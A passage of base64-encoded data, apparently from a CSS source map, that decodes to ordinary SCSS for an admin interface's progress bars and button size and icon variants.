aW1hcnk6IGNvbG9yLmFkanVzdCgjNDI4YmNhLCAkbGlnaHRuZXNzOiAtNi41JSkgIWRlZmF1bHQ7IC8vICMzMzdhYjdcbiRicmFuZC1zdWNjZXNzOiAjNWNiODVjICFkZWZhdWx0O1xuJGJyYW5kLWluZm86ICM1YmMwZGUgIWRlZmF1bHQ7XG4kYnJhbmQtd2FybmluZzogI2YwYWQ0ZSAhZGVmYXVsdDtcbiRicmFuZC1kYW5nZXI6ICNkOTUzNGYgIWRlZmF1bHQ7XG4vLyoqIEJhY2tncm91bmQgY29sb3Igb2YgdGhlIHdob2xlIHByb2dyZXNzIGNvbXBvbmVudFxuJHByb2dyZXNzLWJnOiAjZjVmNWY1ICFkZWZhdWx0O1xuLy8qKiBQcm9ncmVzcyBiYXIgdGV4dCBjb2xvclxuJHByb2dyZXNzLWJhci1jb2xvcjogI2ZmZiAhZGVmYXVsdDtcbi8vKiogVmFyaWFibGUgZm9yIHNldHRpbmcgcm91bmRlZCBjb3JuZXJzIG9uIHByb2dyZXNzIGJhci5cbiRwcm9ncmVzcy1ib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMuJGJvcmRlci1yYWRpdXMtYmFzZSAhZGVmYXVsdDtcbiRwcm9ncmVzcy1ib3JkZXItcmFkaXVzOiBzZXR0aW5ncy1taXhpbnMudW5pdCgwLjc1KTtcblxuJHByb2dyZXNzLWJhci1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy51bml0KDEuNSk7XG5cbi8vKiogRGVmYXVsdCBwcm9ncmVzcyBiYXIgY29sb3JcbiRwcm9ncmVzcy1iYXItYmc6ICRicmFuZC1wcmltYXJ5ICFkZWZhdWx0O1xuLy8qKiBTdWNjZXNzIHByb2dyZXNzIGJhciBjb2xvclxuJHByb2dyZXNzLWJhci1zdWNjZXNzLWJnOiAkYnJhbmQtc3VjY2VzcyAhZGVmYXVsdDtcbi8vKiogV2FybmluZyBwcm9ncmVzcyBiYXIgY29sb3JcbiRwcm9ncmVzcy1iYXItd2FybmluZy1iZzogJGJyYW5kLXdhcm5pbmcgIWRlZmF1bHQ7XG4vLyoqIERhbmdlciBwcm9ncmVzcyBiYXIgY29sb3JcbiRwcm9ncmVzcy1iYXItZGFuZ2VyLWJnOiAkYnJhbmQtZGFuZ2VyICFkZWZhdWx0O1xuLy8qKiBJbmZvIHByb2dyZXNzIGJhciBjb2xvclxuJHByb2dyZXNzLWJhci1pbmZvLWJnOiAkYnJhbmQtaW5mbyAhZGVmYXVsdDtcblxuQG1peGluIGdyYWRpZW50LXN0cmlwZWQoJGNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMTUpLCAkYW5nbGU6IDQ1ZGVnKSB7XG5cdGJhY2tncm91bmQtaW1hZ2U6IC13ZWJraXQtbGluZWFyLWdyYWRpZW50KFxuXHRcdCRhbmdsZSxcblx0XHQkY29sb3IgMjUlLFxuXHRcdHRyYW5zcGFyZW50IDI1JSxcblx0XHR0cmFuc3BhcmVudCA1MCUsXG5cdFx0JGNvbG9yIDUwJSxcblx0XHQkY29sb3IgNzUlLFxuXHRcdHRyYW5zcGFyZW50IDc1JSxcblx0XHR0cmFuc3BhcmVudFxuXHQpO1xuXHRiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQoXG5cdFx0JGFuZ2xlLFxuXHRcdCRjb2xvciAyNSUsXG5cdFx0dHJhbnNwYXJlbnQgMjUlLFxuXHRcdHRyYW5zcGFyZW50IDUwJSxcblx0XHQkY29sb3IgNTAlLFxuXHRcdCRjb2xvciA3NSUsXG5cdFx0dHJhbnNwYXJlbnQgNzUlLFxuXHRcdHRyYW5zcGFyZW50XG5cdCk7XG5cdGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudChcblx0XHQkYW5nbGUsXG5cdFx0JGNvbG9yIDI1JSxcblx0XHR0cmFuc3BhcmVudCAyNSUsXG5cdFx0dHJhbnNwYXJlbnQgNTAlLFxuXHRcdCRjb2xvciA1MCUsXG5cdFx0JGNvbG9yIDc1JSxcblx0XHR0cmFuc3BhcmVudCA3NSUsXG5cdFx0dHJhbnNwYXJlbnRcblx0KTtcbn1cbkBtaXhpbiBhbmltYXRpb24oJGFuaW1hdGlvbikge1xuXHQtd2Via2l0LWFuaW1hdGlvbjogJGFuaW1hdGlvbjtcblx0LW8tYW5pbWF0aW9uOiAkYW5pbWF0aW9uO1xuXHRhbmltYXRpb246ICRhbmltYXRpb247XG59XG5cbkBtaXhpbiBwcm9ncmVzcy1iYXItdmFyaWFudCgkY29sb3IpIHtcblx0YmFja2dyb3VuZC1jb2xvcjogJGNvbG9yO1xuXG5cdC8vIERlcHJlY2F0ZWQgcGFyZW50IGNsYXNzIHJlcXVpcmVtZW50IGFzIG9mIHYzLjIuMFxuXHQucHJvZ3Jlc3Mtc3RyaXBlZCAmIHtcblx0XHRAaW5jbHVkZSBncmFkaWVudC1zdHJpcGVkO1xuXHR9XG59XG5cbi8vIEJhciBhbmltYXRpb25zXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbi8vIFdlYktpdFxuQC13ZWJraXQta2V5ZnJhbWVzIHByb2dyZXNzLWJhci1zdHJpcGVzIHtcblx0ZnJvbSB7XG5cdFx0YmFja2dyb3VuZC1wb3NpdGlvbjogNDBweCAwO1xuXHR9XG5cdHRvIHtcblx0XHRiYWNrZ3JvdW5kLXBvc2l0aW9uOiAwIDA7XG5cdH1cbn1cblxuLy8gU3BlYyBhbmQgSUUxMCtcbkBrZXlmcmFtZXMgcHJvZ3Jlc3MtYmFyLXN0cmlwZXMge1xuXHRmcm9tIHtcblx0XHRiYWNrZ3JvdW5kLXBvc2l0aW9uOiA0MHB4IDA7XG5cdH1cblx0dG8ge1xuXHRcdGJhY2tncm91bmQtcG9zaXRpb246IDAgMDtcblx0fVxufVxuXG4vLyBCYXIgaXRzZWxmXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG5cbi8vIE91dGVyIGNvbnRhaW5lclxuLnByb2dyZXNzIHtcblx0d2lkdGg6IDEwMCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdGhlaWdodDogJHByb2dyZXNzLWJhci1oZWlnaHQ7XG5cdG1hcmdpbi1ib3R0b206ICRwcm9ncmVzcy1iYXItaGVpZ2h0O1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0KDAuNSk7XG5cdGJvcmRlci1yYWRpdXM6ICRwcm9ncmVzcy1ib3JkZXItcmFkaXVzO1xuXHQvL0BpbmNsdWRlIGJveC1zaGFkb3coaW5zZXQgMCAxcHggMnB4IHJnYmEoMCwgMCwgMCwgMC4xKSk7XG59XG5cbi8vIEJhciBvZiBwcm9ncmVzc1xuLnByb2dyZXNzLWJhciB7XG5cdGZsb2F0OiBsZWZ0O1xuXHR3aWR0aDogMCU7XG5cdGhlaWdodDogMTAwJTtcblx0Zm9udC1zaXplOiB0eXBvLWFkbWluLiRmb250LXNpemUtc21hbGw7XG5cdGxpbmUtaGVpZ2h0OiAkcHJvZ3Jlc3MtYmFyLWhlaWdodDtcblx0Y29sb3I6ICRwcm9ncmVzcy1iYXItY29sb3I7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcblx0Ym9yZGVyLXJhZGl1czogJHByb2dyZXNzLWJvcmRlci1yYWRpdXM7XG5cdC8vQGluY2x1ZGUgYm94LXNoYWRvdyhpbnNldCAwIC0xcHggMCByZ2JhKDAsIDAsIDAsIDAuMTUpKTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24od2lkdGggMC42cyBlYXNlKTtcbn1cblxuLy8gU3RyaXBlZCBiYXJzXG4vL1xuLy8gYC5wcm9ncmVzcy1zdHJpcGVkIC5wcm9ncmVzcy1iYXJgIGlzIGRlcHJlY2F0ZWQgYXMgb2YgdjMuMi4wIGluIGZhdm9yIG9mIHRoZVxuLy8gYC5wcm9ncmVzcy1iYXItc3RyaXBlZGAgY2xhc3MsIHdoaWNoIHlvdSBqdXN0IGFkZCB0byBhbiBleGlzdGluZ1xuLy8gYC5wcm9ncmVzcy1iYXJgLlxuLnByb2dyZXNzLXN0cmlwZWQgLnByb2dyZXNzLWJhcixcbi5wcm9ncmVzcy1iYXItc3RyaXBlZCB7XG5cdC8vQGluY2x1ZGUgZ3JhZGllbnQtc3RyaXBlZDtcblx0Ly9iYWNrZ3JvdW5kLXNpemU6IDQwcHggNDBweDtcbn1cblxuLy8gQ2FsbCBhbmltYXRpb24gZm9yIHRoZSBhY3RpdmUgb25lXG4vL1xuLy8gYC5wcm9ncmVzcy5hY3RpdmUgLnByb2dyZXNzLWJhcmAgaXMgZGVwcmVjYXRlZCBhcyBvZiB2My4yLjAgaW4gZmF2b3Igb2YgdGhlXG4vLyBgLnByb2dyZXNzLWJhci5hY3RpdmVgIGFwcHJvYWNoLlxuLnByb2dyZXNzLmFjdGl2ZSAucHJvZ3Jlc3MtYmFyLFxuLnByb2dyZXNzLWJhci5hY3RpdmUge1xuXHRAaW5jbHVkZSBhbmltYXRpb24ocHJvZ3Jlc3MtYmFyLXN0cmlwZXMgMnMgbGluZWFyIGluZmluaXRlKTtcbn1cblxuLy8gVmFyaWF0aW9uc1xuLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4ucHJvZ3Jlc3MtYmFyLXN1Y2Nlc3Mge1xuXHRAaW5jbHVkZSBwcm9ncmVzcy1iYXItdmFyaWFudCgkcHJvZ3Jlc3MtYmFyLXN1Y2Nlc3MtYmcpO1xufVxuXG4ucHJvZ3Jlc3MtYmFyLWluZm8ge1xuXHRAaW5jbHVkZSBwcm9ncmVzcy1iYXItdmFyaWFudCgkcHJvZ3Jlc3MtYmFyLWluZm8tYmcpO1xufVxuXG4ucHJvZ3Jlc3MtYmFyLXdhcm5pbmcge1xuXHRAaW5jbHVkZSBwcm9ncmVzcy1iYXItdmFyaWFudCgkcHJvZ3Jlc3MtYmFyLXdhcm5pbmctYmcpO1xufVxuXG4ucHJvZ3Jlc3MtYmFyLWRhbmdlciB7XG5cdEBpbmNsdWRlIHByb2dyZXNzLWJhci12YXJpYW50KCRwcm9ncmVzcy1iYXItZGFuZ2VyLWJnKTtcbn1cbiIsIkB1c2UgJy4uL2FkbWluX2NvbmZpZyc7XG5AdXNlICcuLi9jb2xvcnMtbnUnO1xuXG5AdXNlICcuLi9zZXR0aW5ncy1taXhpbnMnO1xuQHVzZSAnLi4vdHlwby1hZG1pbic7XG5cbkB1c2UgXCJzYXNzOmNvbG9yXCI7XG5cbi5zbG4tYnRuLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4ge1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIGJvcmRlcjogbm9uZTtcbiAgY3Vyc29yOiBwb2ludGVyO1xuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgYm9yZGVyLXJhZGl1czogNXB4O1xuICBvdmVyZmxvdzogaGlkZGVuO1xuICAvL0BpbmNsdWRlIHRyYW5zaXRpb24oYmFja2dyb3VuZC1jb2xvciAyMDBtcywgY29sb3IgMzAwbXMsIG9wYWNpdHkgMjUwbXMpO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihhbGwgMjUwbXMpO1xuICBAZXh0ZW5kICV6aS1uYXZpZ2F6aW9uZTtcbiAgJi5zbG4tYnRuLS1iaWdnZXIge1xuICAgIGJvcmRlci1yYWRpdXM6IDVweDtcbiAgfVxuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgdG9wOiAwO1xuICAgIHJpZ2h0OiAwO1xuICAgIGJvdHRvbTogMDtcbiAgICBsZWZ0OiAwO1xuICAgIG1hcmdpbjogMDtcbiAgICB6LWluZGV4OiAxMDA7XG4gICAgYm9yZGVyOiBub25lO1xuICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihcbiAgICAgIGJhY2tncm91bmQtY29sb3IgMjAwbXMsXG4gICAgICBjb2xvciAzMDBtcyxcbiAgICAgIG9wYWNpdHkgMjUwbXNcbiAgICApO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICB0ZXh0LXNoYWRvdzogbm9uZTtcbiAgICBvdXRsaW5lOiBub25lO1xuICB9XG59XG4vLyBTSVpFU1xuLnNsbi1idG4tLWZ1bGx3aWR0aCB7XG4gIHdpZHRoOiAxMDAlO1xufVxuLnNsbi1idG4tLW1lZ2EsXG4uc2xuLWJ0bi0tbWVnYSBpbnB1dCxcbi5zbG4tYnRuLS1tZWdhIGJ1dHRvbiB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jayAhaW1wb3J0YW50O1xuICB3aWR0aDogMTAwJTtcbiAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oOTBweCk7XG4gIG1heC13aWR0aDogMzc1cHg7XG4gIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMjBweCk7XG4gIEBleHRlbmQgJWZvbnQtYmlnZ2VyO1xuICBmb250LXdlaWdodDogNjAwO1xuICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5MHB4KTtcbiAgYm94LXNoYWRvdzogbm9uZTtcbiAgb3V0bGluZTogbm9uZTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NnB4KTtcbiAgICAvL2xpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU2cHgpO1xuICAgIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNDBweCk7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICB9XG4gICYuc2xuLWJ0bi0tYmxvY2sge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG59XG4uc2xuLWJ0bi0tYmlnZ2VyLFxuLnNsbi1idG4tLWJpZ2dlciBpbnB1dCxcbi5zbG4tYnRuLS1iaWdnZXIgYnV0dG9uIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrICFpbXBvcnRhbnQ7XG4gIHdpZHRoOiBhdXRvO1xuICBwYWRkaW5nOiAxLjI1cmVtO1xuICAvL2hlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1MHB4KTtcbiAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0MHB4KTtcbiAgQGV4dGVuZCAlZm9udC1iaWc7XG4gIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gIGJveC1zaGFkb3c6IG5vbmU7XG4gIG91dGxpbmU6IG5vbmU7XG4gICYuc2xuLWJ0bi0tZnVsbHdpZHRoIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAvL2ZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIHBhZGRpbmc6IDFyZW0gMS4yNXJlbTtcbiAgICAmLnNsbi1idG4tLXRleHRvbmx5IHtcbiAgICAgIG1pbi13aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMjBweCk7XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0tYmxvY2sge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG59XG4uc2xuLWJ0bi0tYmlnLFxuLnNsbi1idG4tLWJpZyBpbnB1dCxcbi5zbG4tYnRuLS1iaWcgYnV0dG9uIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrICFpbXBvcnRhbnQ7XG4gIHdpZHRoOiBhdXRvO1xuICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDUwcHgpO1xuICBtaW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjQwcHgpO1xuICBAZXh0ZW5kICVmb250LWJpZztcbiAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTBweCk7XG4gIGJveC1zaGFkb3c6IG5vbmU7XG4gIG91dGxpbmU6IG5vbmU7XG4gICYuc2xuLWJ0bi0tZnVsbHdpZHRoIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgfVxuICAmLnNsbi11cGRhdGUtc2V0dGluZ3MsXG4gICYuc2xuLXJlc2V0LXNldHRpbmdzIHtcbiAgICBoZWlnaHQ6IDMuNXJlbTtcbiAgfVxuICAmLnNsbi1yZXNldC1zZXR0aW5ncyB7XG4gICAgbWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgfVxuICAmLnNsbi11cGRhdGUtc2V0dGluZ3Mge1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgIC8vZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgcGFkZGluZzogMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU2cHgpO1xuICAgIC8vbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTZweCk7XG4gICAgLy9taW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjQwcHgpO1xuICAgIC8vZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDIxcHgpO1xuICAgICYuc2xuLWJ0bi0tdGV4dG9ubHkge1xuICAgICAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDEyMHB4KTtcbiAgICB9XG4gIH1cbiAgJi5zbG4tYnRuLS1ibG9jayB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cbn1cbi5zbG4tYnRuLS1iaWcyNSxcbi5zbG4tYnRuLS1iaWcyNSBpbnB1dCxcbi5zbG4tYnRuLS1iaWcyNSBidXR0b24ge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sgIWltcG9ydGFudDtcbiAgd2lkdGg6IGF1dG87XG4gIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgaGVpZ2h0OiAzLjI1cmVtO1xuICBtaW4td2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMjQwcHgpO1xuICBAaW5jbHVkZSB0eXBvLWFkbWluLmZvbnQtbWVkaXVtO1xuICAvL2xpbmUtaGVpZ2h0OiAzLjI1cmVtO1xuICBib3gtc2hhZG93OiBub25lO1xuICBvdXRsaW5lOiBub25lO1xuICAmLnNsbi1idG4tLWZ1bGx3aWR0aCB7XG4gICAgd2lkdGg6IDEwMCU7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgIGhlaWdodDogMy4yNXJlbTtcbiAgICBAaW5jbHVkZSB0eXBvLWFkbWluLmZvbnQtYmlnO1xuICB9XG59XG4uc2xuLWJ0bi0tbGFyZ2UsXG4uc2xuLWJ0bi0tbGFyZ2UgaW5wdXQsXG4uc2xuLWJ0bi0tbGFyZ2UgYnV0dG9uIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBtaW4td2lkdGg6IDEyMHB4O1xuICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCk7XG4gIEBleHRlbmQgJWZvbnQtYmlnO1xuICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG4gIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY2cHgpO1xuICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTVweCk7XG4gICYuc2xuLWJ0bi0tYmxvY2sge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgbWluLXdpZHRoOiA5MHB4O1xuICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NHB4KTtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG4gIH1cbn1cbi5zbG4tYnRuLS1tZWRpdW0sXG4uc2xuLWJ0bi0tbWVkaXVtIGlucHV0LFxuLnNsbi1idG4tLW1lZGl1bSBidXR0b24ge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gIG1pbi13aWR0aDogOTBweDtcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ0cHgpO1xuICBAZXh0ZW5kICVmb250LW1lZGl1bTtcbiAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDRweCk7XG4gIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KTtcbiAgJi5zbG4tYnRuLS1ibG9jayB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cbn1cbi5zbG4tYnRuLS1zbWFsbCB7XG4gIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICBAZXh0ZW5kICVmb250LW1lZGl1bTtcbiAgZm9udC1zaXplOiAxNHB4O1xuICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgcGFkZGluZzogMCAxMHB4O1xuICAmLnNsbi1idG4tLWljb24ge1xuICAgIHdpZHRoOiAxLjhyZW07XG4gICAgaGVpZ2h0OiAxLjhyZW07XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmItcmFkaXVzKDUwJSk7XG4gICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICBmb250LXNpemU6IDBweDtcbiAgICBsaW5lLWhlaWdodDogMDtcbiAgICAmOmFmdGVyIHtcbiAgICAgIGxlZnQ6IDA7XG4gICAgICB0b3A6IDA7XG4gICAgICBmb250LXNpemU6IDEuOHJlbTtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjhyZW07XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tc21hbGwtLXJvdW5kLFxuLnNsbi1idG4tLXNtYWxsLS1yb3VuZC5zbG4tYnRuIHtcbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBoZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gIEBleHRlbmQgJWZvbnQtbWVkaXVtO1xuICBmb250LXNpemU6IDE0cHg7XG4gIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICBwYWRkaW5nOiAwIDEwcHg7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5iLXJhZGl1cyg1MCUpO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbihhbGwgMjUwbXMpO1xuICAmLnNsbi1idG4tLWljb24tLW9sZCB7XG4gICAgd2lkdGg6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpO1xuICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgJjphZnRlciB7XG4gICAgICB3aWR0aDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgIGhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgIGxlZnQ6IDA7XG4gICAgICB0b3A6IDA7XG4gICAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjZweCk7XG4gICAgfVxuICAgICY6aG92ZXI6YWZ0ZXIsXG4gICAgJjpmb2N1czphZnRlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgfVxuICB9XG4gICYuc2xuLWJ0bi0taWNvbiB7XG4gICAgd2lkdGg6IDQwcHg7XG4gICAgaGVpZ2h0OiA0MHB4O1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgycHgpO1xuICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgJjphZnRlciB7XG4gICAgICB3aWR0aDogNDBweDtcbiAgICAgIGhlaWdodDogNDBweDtcbiAgICAgIGxpbmUtaGVpZ2h0OiA0MHB4O1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgIGxlZnQ6IDA7XG4gICAgICB0b3A6IDA7XG4gICAgICBmb250LXNpemU6IDE4cHg7XG4gICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICB9XG4gICAgJjpob3ZlcjphZnRlcixcbiAgICAmOmZvY3VzOmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICB9XG4gICAgJi5zbG4tYnRuLS1pY29uLS1ub2JrZyB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgIH1cbiAgICB9XG4gICAgJi5zbG4taWNvbi0taGVscGNoYXQge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICBib3JkZXI6IDFweCBzb2xpZCAjNjZiYjZhO1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHdpZHRoOiAzN3B4O1xuICAgICAgICBsaW5lLWhlaWdodDogMzZweDtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGNvbG9yOiAjNjZiYjZhO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1pY29uLS1hcHByb3ZlIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tb2soMSk7XG4gICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXIoMSk7XG4gICAgICAgIGZvbnQtc2l6ZTogMS40cmVtO1xuICAgICAgfVxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1vaygwLjgpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1pY29uLS1kZW55IHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW